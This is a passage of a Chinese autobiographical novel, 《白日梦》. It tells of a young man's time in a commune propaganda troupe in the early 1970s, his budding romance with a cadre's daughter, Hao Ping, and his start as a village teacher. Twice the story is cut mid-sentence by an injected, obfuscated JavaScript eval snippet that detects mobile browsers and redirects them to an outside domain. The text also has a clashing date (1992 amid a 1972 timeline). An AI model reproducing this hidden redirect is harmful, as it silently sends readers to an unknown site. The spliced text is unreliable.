舅舅知道我在水库工地抬石头很苦。 我问:“什么时候去?” 舅舅说:“现在就去,刘干事要我带你一起去,我帮你拿行李。” 我说:“我没什么行李要拿,你先回去吧,我回住处清理一下东西就去。” 舅舅自己回镇上了。 我当即回到住处收拾行李,夏天的行李太简单了,衣服用床单一包,把琴插在包里,网兜把吃饭的洗脸的刷牙的一装,就可以走了。 走的时候,一起在工地抬石头的一个人非要送我。 这个人是我在这水库工地上刚结识的一个朋友,我们很谈得来。 他姓周,名文,原是武汉某中专学校的学生,因在学校被打成□□,加上又出身于地主家庭,就被学校开除了。 周文已经三十多岁了,单身汉。晚上我俩就跑到村后面的山上聊天,有时还弹琴、唱歌。 他很喜爱音乐,是很不错的男中音。《花好月圆》、《莫斯科效外的晚上》和《 红梅花儿开》这递进歌,就是他当时教会我唱的。 我背着包袱,他帮我提着网兜。我们一边走一边聊。 他对我说:“你长得太漂亮了,会招女人喜欢。一定要注意和女人保持距离,不要轻易对女人动感情。” 他讲了许多他自己的经历,谈到他的初恋,谈到他失败的婚姻,他总结说: “我是成也女人,败也女人啊!你千万别蹈我的覆辙!” 从水库工地到镇上,有十几里路。 走着聊着,走着聊着,不知不觉走了一大半路了。 我对他说:“不要再送了,谢谢你了!你说的话我一定牢记,就此别过,今后多联系。” 我走了好远,他还站在那里向我招手。 下午两点多,我就到了公社党委办公室的门口了。 我向门卫说明了情况,门卫的人告诉我刘干事的办公室。 刘干事坐在办公室里等我呢。 刘干事很热情,一见面就说:“听说你在文艺方面很不错,有人向我推荐你。公社成立文艺宣传队了,是全脱产的,基本队伍是“七建”的宣传队员。” 原来七建的总经理张吉庆调到红云山茶场当党委书记了,所以他搞的宣传队就改组成公社的宣传队了。 我一听“七建”二字,心里就想,真有意思,这不就是我本来要去没去成的那个宣传队吗? 于是心里马上有了疑虑,就对刘干事说:“我们大队同意吗? 刘干事笑着说:“成立这个宣传队,是公社党委决定的,招人不需要征求大队的意见。” 他又接着说:“手续问题不用你们操心,我都为你们安排好了。所有宣传队员的工作关系都分别转到公社的几家企业,工资由各企业发,工资标准按企业平均工资发。你马上去宣传队排练厅报到吧,宣传队排练厅就在公社大礼堂。他们都知道你要来,好几位你都认识,还有你的几个老同学呢。” 真是福从天降啊!我高兴极了,兴奋极了! 告别刘干事,我拿起行李就往宣传队排练厅快步走去,哪里是走,简直是一路小跑。 一到排练厅门口,一位梳着两条大辫子的小姑娘就跑上来问:“你是古之华吧?我叫郝苹。” “你怎么知道我的名字?我又不认识你。”我感到很突然,也感到很奇怪。 “你认识我爸爸吧?”她有点调皮的样子,歪着头说。 “不认识,你爸爸是谁?”我反问道。 她摸了模我插在包里琴,说:“我爸爸弹过你这把琴呢。” “不会吧。”我记不起来了。 “我爸爸是郝军呀,他让我告诉你,你来了就到我家里去一趟。”说完她就跑开了。 我想起来了,郝军是我们公社党委副书记,曾经在我们大队蹲点。 去年我和他见过一面,当时他和大队的几个干部到村里检查工作,路过我们家,我正在门口弹秦琴。 他很感兴趣地走过来,说:“弹得不错啊!把你的琴给我弹一下行么?” 我站起身,把琴递给他,没想到,他竟坐在我的椅子上弹起琴来。他弹得比我好。 我说:“您弹得真好!” 他弹了一曲,我当时还不知道他弹的是什么曲子,只觉得很好听。 他一弹完,旁边的人都一起鼓起掌来。都说郝书记真是多才多艺。 他把琴还给我,从椅子上站起起身来,笑眯眯地打量着我,问我是哪个学校毕业的,还问我爱看些什么书。 就见过这一次面,郝书记还记得我? 我当时只想过,这个人记忆力真强! 别的都没想,更没想到,我的初恋就要开始了。 我打量了一下眼前这位十四五岁的小姑娘,鹅蛋脸,皮肤很白,一双眼睛又大又黑,一对辫子又长又粗又黑,穿着一身白色的练功服,一副既天真又有点调皮的样子。 忽然心头闪过几小时前周文对我说的话: “我是成也女人,败也女人啊!你千万别蹈我的覆辙!” 我还没回过神来,一群宣传队员就围上来了。 啊!这么多老熟人呀。 指导老师,就是我初一时的班主任蔡老师,他调到这里来了。 初中同班同学蔡先明、张如之,初中同级不同班的余光明,也是我们学校宣传队的队员,我的老部下,还有原七建的工友王大友、于文学、熊春来等。 当时全国都在大唱样板戏,每个公社都有宣传队,除了唱样板戏,还排演各类文艺节目,歌舞、曲艺、话剧等都有。 我们公社的宣传队规模还不小,有60多人,其中有一半是城里来的下乡知识青年和本地的回乡知识青年,艺术素养都很不错,都曾经是学校里的文艺宣传队的骨干。 队里有一个很不错的乐队,小提琴、大提琴、小号、笛子、二胡、钢琴、扬琴,月琴等等,都不乏好手。 宣传队正在排练芭蕾舞剧《白毛女》,从县文工团请来了一位指导老师协助总导演蔡老师。 主演是一位名叫余芳的武汉下乡女知青。角色已经都定好了,我被分到了乐队里。乐队的负责人是镇上高中的一位姓吴的语文老师,他的京胡拉得非常好。 同时,另一个剧组正在排练京剧《沙家浜》,主角郭建光的扮演者是通用机械厂开小车的周能。 这两个大剧组之外,就是一些小节目组了。当时正在排练的小型节目有《洗衣舞》、《草原英雄小姐妹》、《蝶恋花》等舞蹈节目和一些曲艺类节目。 我来了后,加排了两个节目。 一个是快板剧《一条标语》,剧中同学蔡先明演爸爸,一位从襄阳下放的知青李书珍在《沙家浜》剧组中扮演沙奶奶,同时又在我们这个剧组中演妈妈,我演哥哥,报幕员郝苹演妹妹。 另一个是我们四个男生演唱京剧《红灯记》里李玉和的一个唱段“党叫儿做一个钢强铁汉”。 宣传队的日程安排得很紧。每天早上集中练基本功,练声,吊嗓子,唱 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没几天功夫,我就感觉到有几个宣传队员看我的眼神有异样。当时有点莫名其妙。 原来在我来宣传队之前,就有三个人暗恋着郝苹,但她什么都不知道。 我来了之后,郝苹一天到晚跟着我,他们三个人之间本来就有矛盾,现在就更不高兴了。 老同学蔡先明把这些情况告诉我了,叫我尽量少和郝苹在一起。 于是我就经常想办法躲开郝苹。虽然我行动上总是在躲避她,但心里好像还是愿意和她在一起,说不清是个什么心态。 有一次,排练一结束,我趁郝苹不注意,就溜了出去,去找在化工机械食堂工作的老朋友,在他那里吃饭。 结果,郝苹端着碗到处找我,还边找边喊。没找到,就哭起来了。 这样一来就更糟糕了! 不少人开始说风凉话了,连蔡老师都偷偷问我:“你和郝苹倒底是怎么回呀?” 我说:“不是他们说的那样,我们在一个节目组,接触多一点而已。” “我听说,她找不到你还哭起来了,又是怎么回事呢?” “她年纪小。”我真不知怎么回答了。 当时,在我心里,她就是个还不大懂事的小姑娘,干部子女,有点娇气。 为了避嫌,我来镇上几个月,本来想去郝苹家里见见郝书记,表示感谢,一直都没有去,很是失理。 为此,郝苹很生我的气,但她生我的气也还是形影不离地跟着我。 这期间,也见过郝书记一次面,但不是在他家里。 那是一次开企业职工大会,我们宣传队也参加了,而且座位安排在听众席最前面。 入场了,宣传队员基本上都坐在前面的座位上了,我坐在第一排,别的座位都坐满了,而我身边的一个座位却没人来坐。 我几次拉人来坐,他们都不坐,都装出神秘的样子说:“这位子有人坐,我可不敢坐。” 领导入场了,郝苹才来,她大概是和她父亲一起来的。 她一来,就坐在我旁边的坐位上了,旁边的几个人都捂住嘴巴笑。 郝书记坐在主席台中央,他看到我了,笑着对我挥了挥手。 这次大会是他作报告。 会开完了,我也没敢上前去和郝书记说说话。 出会场时,郝苹很高兴地对我说:“我爸爸看见你了!” 我低着头没说话,总想着对不起郝书记,他帮我这么大忙,可说是把我救出苦海了,我连句感谢的话都没对他说。 29. 第 29 章 九 “330”工程开始招工了。 “330”工程指的是宜昌葛洲坝水利工程。 “330”工程招工小组来到了我们公社。 那天,我们正在排练《一条标语》,郝苹把我拉到出排练厅外,对我说:“330招工了,我想去,你想不想去?” “我想去也去不了,听说招工名额很紧张,怎么可能招到我头上来。” “我爸爸有办法!你明天一大早去我们家,我在家等你。” 我也一直想去她家见她爸爸,就答应了。 第二天一大早,我没吃早饭就往她家走。走到十字街口,忽然遇见蔡先明,他一把拉住我:“走,帮我去排队买油条。” 我说:“我有急事。” “一大早有什么急事?” 他不由我分说,就把我拉到买油条的队伍里。 买油条的队伍很长,我们等了好久。 我还在帮蔡先明排队,郝苹披着没扎成辫子的长发走过来了,她狠狠地瞪了我一眼,没说话,径直走过去了。 后来我才知道,她爸爸手上有四个名额,一个给了郝苹,一个给了郝苹最好的朋友,就是那个在《白毛女》中演喜儿的余芳,一个给了她爸爸一个战友的儿子,还有一个是准备给我的。结果我没去,就给别人了。 这一年的国庆节,我们宣传队搞了一次庆祝国庆节的文艺晚会,也是一次汇报演出。 在镇中学的操场上,搭了一个很大很气派的舞台,灯光和音响设备也很不错。 来看演出的人很多,仅蔡榨中学高中部和初中部的学生就有,一千多人,五个企业的工人“加上镇上的居民,也有几千人,偌大的一个操场,挤满了人。 公社的领导和企业的领导也都来看演出,称得上是盛况空前。 在化妆室里,我正在化妆,郝苹跑过来了,她已经化好了妆。 “来,我帮你化妆!”她抢过我手上的眉笔说。 “我自己会化妆。”我伸出手要她把眉笔还给我。 她把眉笔举得高高的,说:“我来帮你画眉毛,我很会画眉毛的。” 我站起来,从她的手上拿回眉笔,“我自己的眉毛,我知道怎么画”我又指着她的眉毛说,“你看你自己的眉毛,就画得太粗了。” 她立即在旁边的化妆台上把自己画好的眉毛擦掉了,走到我的面前,说:“我画得不好,你帮我画。” 我不画她不依,没办法。我画好自己的眉毛后,就给她画眉毛。 郝苹的眼睛特别大,双眼皮,额头也较宽,眉毛画长一些比较好看。 给她画眉的时候,离她很近,我!从来没这么近接触女孩子,我能感觉到她的呼吸,心里禁不住咚咚地跳。 快开演了,演员们都化好妆到后台上去了。化妆室里就我们两个人。我对她说:“快开演了,你是报幕,还不快去!” “没看过你化了妆的样子,你让我多看看!” “有什么看头,你快去!马上要演出了。” “太好看了!我舍不得走。” 没办法,我就起身往外走,她也就跟在我后面走出化妆室了。 女生们都说郝苹的眉毛好看,郝苹说是我帮她画的。后来,女生们都要我帮她们画眉。 只有一个女生没请我帮她画眉,这个女生就是救过我老同学命的校友邓宝林的妹妹,她曾考上县文工团。因为政审不合格,她家是地主成份,就没去成。 开演了,第一个节目就是芭蕾舞剧《白毛女》。 大幕拉开,音乐起了,余芳跳起了《北风吹》,独唱的是郝苹。 平时也听过她唱歌,没想到正式演出时竟唱得这么好,那声音好甜,好美! 余芳跳得也好,完全是按样板动作跳的,余芳面容秀丽,身材苗条,舞姿轻灵,一下子赢得满场的喝彩。 接下来的“窗花舞”也赢得一阵一阵雷鸣般的掌声。 演出非常成功。 京剧《沙家滨》演了几个主要的片段,沙奶奶和阿庆嫂演得很出彩,郭建光和刁德一演得一般。 几个歌舞类节目也都不错,最出彩的是《洗衣舞》。 我们四个人演的快板剧《一条标语》也很受欢迎,但我觉得演的一般般。 我参演的“党叫儿做一个钢强铁汉”是县文工团一位老师手把手教的,反响也很好。 没想到,演出结束后,竟引发了一场“谁是本公社第一美男子”的大争论。 争论是从镇中学高中部女生中开始的,一部分女生认为演郭建光的周能是“第一美男子”,一部分女生认为我是。 这争论又传到企业里,几个工厂的女工也开始争论起来。 我们宣传队里的女队员们也悄悄争论起来,郝苹当然是力推我的。 当时,总导演蔡老师在镇中学高中部任教,他听说了高中女生在争论“第一美男子”的事,竟然也参予其中,和女生们讨论起来。 有两位高中女生在街上遇见我,其中一位扎着一对短辫子的女生对我说:“古之华,你被我们同学们评为“本公社第一美男子”了,祝贺你啊!” “真无聊,拿我取笑啊?”我也听到一些风声,觉得有些难堪。 另一位扎着一对长辫子的女生说:“是真的,还是我们蔡老师一锤定音的。” “啊!蔡老师怎么会参与这种事?真的么?”我不大相信,有点惊讶。 “是真的。蔡老师说,周能怎么能和古之华比!周能只是长得漂亮,而之华不仅是漂亮,而且是英俊,有才气,两人的气质完全不能相提并论。我在宿舍里亲耳听他说的。” 长辫子女生说。 十 国庆节刚过,公社宣传干事杨波找到我,说:“县委宣传部要求各公社宣传队都要有自己创作的剧目,你那个小话剧演得不错。你能不能创作一部话剧?” “我水平有限,怕写不好啊。” “试试嘛!,先构思构思,拿出一个方案,我们再一起讨论讨论。” 我也想试试,就答应了杨干事。 我苦干了一个星期,还熬了两个通宵,写出了一个初稿。 老领导张吉庆书记正在建红岗山茶场,我就以此为题材,创作了八幕话剧《红岗风云》。 剧中的主要冲突是,一个很奸滑的老地主因建茶场坏了他家的风水。那片山解放前是他家的祖产,他家的祖坟也在那片山上于,于是这个老地主就暗中搞破坏。 茶场书记依靠群众的智慧的力量,粉碎了老地主的阴谋,茶场得以顺利地建成了。 杨干事和蔡老师看了剧本的初稿觉得很好,蔡老师还夸奖我说:“你还真是个天才!这么短的时间就写出来了,真不简单呢!” 蔡老师是这个话剧的总导演,他召集宣传队的骨干讨论我写的初稿,提出了一些修改意见,我又根据大家的意见作了一些修改。 大家一致通过了我的剧本后,杨干事和蔡老师决定带全体宣传队员上红岗山,去茶场体验生活。 十月中旬,我们宣传队就来到了红岗山。 茶场张书记很热情地接待了我们,安排我们住在位于茶场边的一个村子里。 当时正是收割晚稻的时节,我们白天就帮老乡们收割晚稻。晚上我就教唱话剧的主题歌《红岗山上红旗飘》,这个主题歌也是我作词作曲的,蔡老师对词曲的创作提了很好的一些修改建议。 那一天,天下起雨来了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14915234|160265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 一位队员从镇里回来,说郝苹和余芳已经被“330”招工,马上就要到宜昌去了,明天她俩要来红岗山和大家道别。 在乐队里拉二胡的小曾,对我们男队员说:“所有男的都不要和郝苹说话,谁和她说话谁就是狗娘养的!” 他还要我们发毒誓,不准和郝苹说话。 真是莫名其妙!小曾发神经病了吧!我想。 他还真像发了神经病,那天下雨的晚上,他坐在村边的树下面拉了一夜的二胡。 有队员告诉我,小曾疯狂地暗恋着郝苹呢。 第二天,天放晴了。 我正和队员们一起在田里收稻子。 忽然郝苹和余芳来到了稻田边。 只见郝苹张开双臂向我跑过来,边跑边对我喊道:“想死我了!” 我不知所措,恍惚间想起小曾的话,想起几个人发的毒誓,我挑起稻捆掉头就跑。 跑远了,回头一看,郝苹还呆呆地站在那里。 第二天天刚亮,余芳来找我了,她把我拉到村外。 “郝苹昨晚哭了一夜。”余芳很认真地说。 我说不出话,只“嗯”了一声。 “ 她是真的爱你啊!你不知道吗?”她表情很严肃。 “她爸爸也很关心你,本来你是可以和我们一起去“330”的。那天她约你到她家去,是要你去填表的,那天是最后交表的时间。可是你没去,郝苹伤心极了,她爸爸也很生气,这么大的事,你怎么一点也不放在心上呢?” 余芳像一个大姐姐在教训一个不更事的弟弟,其实她只大我两岁。 “我本来是要去的,被蔡先明拉去帮他买油条了。”我解释说。 “蔡先明就不是什么好东西,你还把她当好朋友。” “我和蔡先明是最好老同学好朋友,他不是故意的。”我又解释道。 “郝苹年纪小,单纯得有点幼稚。她这次来,主要就是来见你。”她用武汉话说,“要见到你了,她不晓得几激动。可是你!——”。 她顿了一下,接着说,“是她叫我来找你的。” 听了余芳的话话,我心里打翻了五味瓶,既惭愧,又难受,不知是什么嗞味。 在宣传队里的一幕又一幕在脑海里翻卷,郝苹对我好的点点滴滴都翻卷出来了。心也随之“咚咚”地跳起来。 这是我人生第一次有这样的感觉,那一刻,可能就是爱情的萌芽吧! 只觉得自己太对不起郝苹了,我辜负了一颗多么纯真的心啊! “我们明天就要出发到宜昌去了,她会给你写信的,你一定要回!可不能辜负她啊。”分手时她叮嘱我说。 “我会回信的。请你代我向她道歉,我对不起她。” “她现在很伤心,你也别送了。”说完她就匆匆走了。 我记得非常清楚,那年的11月1日,我们接到一个紧急通知,全体宣传队员立即赶到公社大礼堂参加重要会议。 当天上午,我们全体宣传队员乘一辆大卡车回到了镇里。 下午两点,一个特别不一般的大会开始了。 这次大会像一个巨雷,炸醒了我们的迷梦,也炸翻了整个世界。 我们的副统帅叛党叛国,驾机出逃,摔死在外蒙古了。 开始真的想不通,我们每天还在祝他永远健康永远健康呢。 接下来就没有排练了,有的是开会。 开会开到年底,宣传队就解散了。 宣传队员都分到几个工厂去了,我被分到通用机械厂。 没上几天班,我就离开了工厂,到我们红星大队的红星小学当民办老师去了。 新的生活篇章翻开了。 30. 第 30 章 《白日梦》第一部《故乡旧事》 第五章 在当民办教师的岁月里 一 一个偶然的机会,我当上了民办教师。 1992年春节期间,大队民办教师中,有一位女老师要生孩子了,她丈夫在武汉工作,她要到武汉去生孩子。于是,就要找一个人来为她代课。 新上任的大队长就推荐了我。 可能是他的女儿在这个要生孩子的老师的班上,想找一个好的老师来教,可能是我舅舅吹牛时说我是郝书记推荐到公社宣传队的,我有郝书记这个后台,他和我父亲也没有结什么仇怨,所以他推荐了我。 大队长告诉我,那位生孩子的女老师回来了,我就得让位。 于是我就离开了社办工厂,到大队民办小学当民办老师了,开始还是临时的,临时的我也很乐意。 当时,我读书的那个张家大塆小学已经升格成初中了,每个大队都有一所小学。 我们大队的小学很特别,我去的时候还没有校舍。班级分别设在四个村子里。为了方便学生上学,一年级和二年级的班分别设在三个村子里。三、四、五、六年级集中设在一个村子里。都没有正规的教室,都是借用的民房。 我教的班是设在面前塆的一年级。全班有32个学生。教室是借用的一间民房的堂屋,教室里没有正规的桌椅,学生们自带一个板凳当课桌,还比较整齐,椅子就五花八门,有用小□□凳的,有用土砖的,有用石头的。 全部的课程都是我一人教。我很认真地备课,很认真地讲课。 有一天上午,我正在上课,邮递员送来了一封信,是郝苹寄来的,这是第三封了。 第一封信写得很短,对不愉快的事一个字也没提,主要介绍她分到车间里做车工了,余芳当了钳工。 第二封信也很短,寄来了两张照片,一张是半身照,辫子盘起来,戴了个帽子,一张是全身照,是工作时的照片。 这封信却很长,有四面信纸。详细地介绍了她工作和生活的近况,还写了一首小诗赞美春天。在信中,她要我也写一首自由体诗,抒发对春天的感受。 第二天上早自习,我给她回了一封信,信中有我一气哈成写给她的诗。 青春的火花 ——答小苹 (小序:小苹在来信中说:“我很希望在你的来信中,能看到一首关于你对春天的感想的自由诗啊!”在学生朗朗的朝读声中,我在讲台上奋笔抒写——) 是你那活泼的彩笔 描绘的瑰丽春景, 使我的笔 有了新的生命。 虽说是 春暖花开,风和日丽, 能使人吟诗作赋, 其实是啊 似江的心潮 在澎湃翻腾。 历史的车轮 在突飞猛进, 美好的前程, 在热情地招唤我们。 当春风 给大地 送来春天的温暖, 万物 就在浓浓的春意中 睁开沉迷的睡眼。 当青春的烈火 在心中点燃, 心灵的火花啊 在这熊熊的烈火中 开放得格外鲜艳! 每逢眼前浮现出 那难忘的富有诗意的情境, 跳跃在纸上的诗句啊 饱含着怅惘的怀情。 每逢那皎洁的圆月 象一面新磨的明镜 高挂在东山的树顶, 坐在水边 我对着水中的月影 独鸣孤琴。 和着我的 只有我寂寞的歌声。 琴声 飞不过远隔的山水, 歌声 联不上月边的浮云。 停下琴声, 我侧耳细听, 四处一片冷冷清清。 大地沉睡, 万籁无声。 偶尔 从草丛中 传来一阵 虫儿的低鸣。 这时 眼前仿佛出现了 一个奇妙的幻境。 只觉得 急促的时光 在催赶着青春。 宝贵的青春时光啊 绝不能让她飞滑而过, 要抓住这美好的时光 把通向理想境界的道路 开辟 铺平。 只有 奔腾的江海 才能 掀起巨浪, 只有 沸腾的热血 才能 写出动人的诗文。 我要用尽那 三江五湖之水, 去描绘那 绚丽的春景, 去歌颂那 火红的青春。 多情的春风 亲吻着 美丽的山水, 大地 在春日的沐浴下 显得异样的清新。 山顶的松柏 迎风挺立, 山下的清溪 弹奏着潺潺的琴音。 你看那 双双花蝶 在花丛中萦绕, 花丛中还有 那勤劳的蜂群。 快乐的水鸟 在清池中游戏, 活泼的游鱼 依偎着浮萍。 轻盈的蜓翅 在水面 翩翩起舞, 机灵的青蛙 在一旁 瞪着那 有趣的眼睛。 多姿的垂柳 在风中 飘动着 美丽的长发, 俏皮的喜鹊 在枝头 欢唱着 动人的歌声。 看到这 微妙的 引人入胜的 春景, 使我 自然地 联想到 瑰丽的 多彩的 烂漫的 丰富的 人生! 1972年4月28日 我模仿了一位前苏联 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14915235|160265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 诗人的诗体。 在后来七年多的时间里,我给写给她的信有30多封,大部分信中都附有一首诗,大多是古体诗。 二 教到期末统考了,那位女老师竟还没有回来。有人说她不会回来了,我心里暗暗高兴,她迟回一天,我就可以多教一天,她要是不回来,说不定我还可以长期教下去。 本学区几十个小学一起统考,我教的班,语文和算术都考了个全学区第一。算术成绩特别好,32个学生,只有2个99分和两个98分,其他28个学生都是100分。 这样的成绩也引起了公社教育组的领导的注意,他在总结会上大大地表扬了我。 暑假过后,我被调去教三年级了。公社教育组听说我作文教得好,要我讲一次作文公开课。 公社教育组和本学区的领导带着二十几个中小学老师来听课。 记得那次公开课讲的作文题是“跳高架前”。因为我们学校正在搞田径训练,准备参加学区内的田径运动会,我是总教练,正在教跳高,所以以此为题。 当时我想探索作文教学的新路子,搞了个“词句导引训练法”。 后来我编著出版的几套“中小学作文训练丛书”的小学部分,还是沿用的这个“词句导引训练法”。 后来风靡全国的《傻瓜作文》和《黄金格作文》的训练思路也是来自于此。 在北京时,还得到老教育部长的赞许,并在老部长的指导下,将我的作文训练丛书的书名改为以我的名字命名,并向全国推广。 我在黑板写了几个导引词,让学生根据这几个导引词做“白日梦”,然后我点学生上讲台口述作文。 点上讲台的学生看着导引词口述作文,学生口述作文很流畅,也很生动。 导引词虽然相同,而三个学生口述的作文却各不相同。听课的老师都很惊讶,不大相信学生是现场口述的。 本学区的负责人也是初中的占校长当场站起来说:“古老师,我点个学生起来说说看,行吗?” “当然行啊!你随便点一个吧。”我很自信地说。 他点了一个坐在最后面的一个大个子男生,这个男生也很为我争气,他口述的作文非常棒,动词用得特别好,比前面三个学生还精彩。 全体老师都兴奋地鼓起掌来。 后来,这位占校长和我成了几十年的好朋友,我的好多故事还和他有关呢。 放寒假了,那位到武汉生孩子的女老师还没有回来,说是她不回来了,我就成了正式的民办教师了。 当时民办老师的待遇是这样的,每天计10个工分,每月补助3元钱。这3元钱可以买15条园球牌香烟,我这时已经有一点点烟瘾了。 说起这抽烟,就又要提到襄阳了。在木工组的时候,那个烟瘾很大的“赌博爹”告诉我,要卖一包烟放在口袋里,自己可以不抽,有时要给师傅们递根烟。 于是我就买一包烟放在口袋里,有时就给师傅们递一根烟,求师傅们教我手艺。我有时也抽一根,一包烟差不多可以用一个月,当时没有烟瘾。 我们小学里几个男老师都抽烟,我也随着抽起来,一包烟大约抽一个星期。 31. 第 31 章 三 刚放寒假,大队团支书“老七”就找到我。这个“老七”,就是顶替了我的招工名额的“老八”的哥哥,就是那个和我一起抬石头的老七。 老七对我说,公社要求每个大队都要成立一个文艺宣传队,春节期间活跃农村的文化生活。公社还要在春节期间搞文艺会演,并且还要评奖,他要我负责组建大队的文艺宣传队。 他还告诉我,大队干部已经开会研究决定,宣传队员由我到全大队去挑选,每个宣传队员,在排练和演出期间,每天记10个工分,每天还有3角钱生活补贴。这待遇很不错了。 离春节只有二十多天了,时间紧,任务重。 挑选队员就好难好难。村民的文化程度都不高,艺术素养就更谈不上了。老七陪着我一个村一个村里去找,挑选身材长相较好的,文化程度较高一点的,上学时演过文艺节目的优先。一共挑了30个年轻人,18个男的,12个女的。刚放寒假回村的5个高中生也在其中。 老七又陪我到武汉去买了锣鼓家什和二胡笛子月琴等乐器。 开始排练了,一切从0开始。 宣传队中有5个高中生,三个男生,两个女生,成了我的帮手。 我让一个男生负责一个5人组成的小乐队,我教他们拉二胡,吹笛子、弹月琴。 我让一个男生负责锣鼓队,我教他们敲锣打鼓。 另外一个男生和两个女生协助我排节目。这两个女生就是那天在镇里街上遇见的长辫子女生和短辫子女生。 从一大早到深夜,我忙得腰酸背疼,口干舌燥。 我做了一个排练计划,一共排20多个节目。其中有京剧《沙家滨》《红灯记》、《智取威虎山》中的唱段,有歌舞类节目,有相声、快板,湖北大鼓等曲艺类节目。 我是所有这些节目的总导演。京剧唱段要一句一句教,每首歌也要一句一句教,舞蹈的每一个动作要一个一个示范。 节目组分别在一个一个的房间里,我就一个房间一个房间跑。教完一个房间里的,让他们练习,我再跑到下一个房间。 简直就是奇迹!二十多天,二十多个节目竟然排练出来了。 大年三十就开始演出了。当时,在我们会龙山地区,每个大队都有文艺宣传队,从大年三十到正月二十几,遍地都是锣鼓喧天,红旗招展,各个宣传队都串村演出,有时一个村同时进来几个宣传队。满山遍野都是人,熙熙攘攘跟着看演出。 大年三十那天,我们先在本大队演出,十个村子,演十场,每场演出一个多小时,从上午一直演到深夜。 正月初一,开始到邻近各大队演出。因为我们村紧靠红安县,所以邻近的红安县的几个大队每年春节期间也会去演出。 每到一个村,锣鼓开场。我编了一套开场锣,我一击鼓,就开演了。有好几个节目,我都是主演。 如,《沙家滨》中的郭建光,《红灯记》中的李玉和,《智取威虎山》中的杨子荣,舞蹈《大刀舞》中的领舞,湖北大鼓《丰收场上》,还有男声小合唱《游击队歌》,男生独唱《一壶水》等。 大约有一半的节目是我主演的。这也是我能在二十天里排出二十几个节目的原因啊。 不是我主演的一些歌舞类节目,我就又是乐队的主角。有时吹笛子,有时拉二胡,有时弹月琴,因为乐队队员有些曲子伴奏得不好。 有一次,我们宣传队和另一个大队的宣传队同时进了一个村子。按常规,先进村的先演出,演完了后进村的再演。可是这个村里的队长提出,要两个宣传队一起演,一个队演一个,交替进行,比谁的节目多,谁的节目好。两个队都很自信,两个队都同意。 锣鼓一响,比赛开始了。我在中间临时插进去三个独唱和一个单口相声,这相声是我现场现编现演的,记得我临时把个相声名为《不同的笑》,我模仿各种不同的笑声和笑的神态,把现场观看的人都乐坏了。 结果,我们还有好几个节目没演,对方已经没有节目了,对方认输了。 对方队长对我说:“你玩巧了,有你在,我们节目再多也比不赢。” 这年春节的演出一直演到正月二十八才结束。 四 我们的演出引起了很大的反响,大队干部也表扬我了,说是为大队争了光。 然而这演出却为我带来一个大麻烦。 演出结束没几天的一大早,我外婆娘家的一个侄儿,被我称作表叔的人来到了我家。 他一进门,就对我母亲说:“表姐,大喜事,大喜事!” “什么喜事啊?看把你高兴得这样。”我母亲给他递过一杯开水说。 “我们大队书记的姑娘看上你家之华了,托我来说媒。” “真的么?那好啊!”我母亲听了也很高兴。 我虽然那年20岁还没满,母亲就曾为我操心过婚事,差一点定了娃娃亲。 还是我上初一的时候,我的一个同一个房头的叔伯姑姑出嫁,我去送嫁妆。母亲和一个亲戚串通好了,借机安排了一个相亲的局。 在这个姑姑结婚的宴席上,有好几桌客人,我被安排坐在正中间的一张桌子上,听说还是上宾坐位。 开席了,我对面的坐位却一直空着。敬了三回酒了,对面的客人才来。来的是一位小姑娘,十二、三岁的样子,上身穿着红色带碎花的衣服,系着一条淡黄色的围巾,头上扎着一对小辫子。 她坐下来后,不说话,不拿筷子,也不抬头看人,一直坐着。我看不到她的整个脸,只能看到她长长的眼睫毛。 桌上的客人都给我敬酒,我长这么大从来没喝过酒,就推辞。 有位年纪较大的老者把酒杯端到我面前,对我说:“这酒味道很好的,你喝一点试试!” 我端起酒杯,试着泯了一口,觉得辣辣的,就皱着眉放下了酒杯说:“不好喝,我不喝,你们喝吧!” 没想到那老者举起酒杯说:“不喝不行!我们这里有个规矩,要么不端酒杯,端了酒杯就得喝。”同桌的人也都附和着要我喝。 这时,对面那个小姑娘也抬起头来了,她瞪着大眼睛看着我。 不知怎么我就来了胆量,端起酒杯,一口喝干了杯中的酒。 这一下就麻烦了。 那老者说:“我们这里敬酒还有个规矩,一敬就三杯,必须喝。” 那杯酒喝下去了,我好像没什么感觉。心想,喝就喝吧。就没有再推辞了。 那老者敬完三杯后,同桌的那几个人也都来敬酒,一人敬三杯。 那老者又对其他桌子上的人说:“这个小孩酒量不错,喝了二十多杯,脸都没红。不能慢待贵客,你们也应该来敬他的酒哇!” 于是,下面两桌人也都来敬酒。 喝了这么多酒,我也好像没什么感觉,于是,来者不拒。 对面那个小姑娘一直瞪着大眼睛看我喝酒。我也不清楚喝了多少酒。 在里面房间里喝酒的叔叔听到了我们这边闹酒,出来一看,他没想到是在闹我的酒,他急忙上前来劝止,给我敬酒的人才罢休。 那天正下着大雪,我们出村的时候,雪停了,只见满山遍野白茫茫的,一派银妆素裹的景象。村里人送我们送到村边就都回去了。 走出村子有几里地了,我回头看了一看那个村子,银白的天地间,一抹苍青里有一个小红点: 那个穿着红色小碎花上衣围着淡黄色围巾的小姑娘站在村边的松林边目送着我们。 回家后,母亲才告诉我,是那个出嫁的姑姑说,她婆家村里有一位非常美丽可爱的小姑娘,小姑娘的爸爸在武汉工作,是航运公司的一个船长。 这小姑娘是个独生女,和妈妈一起住在农村。她家想招一个上门女婿。于是就有了这次“暗相亲”。 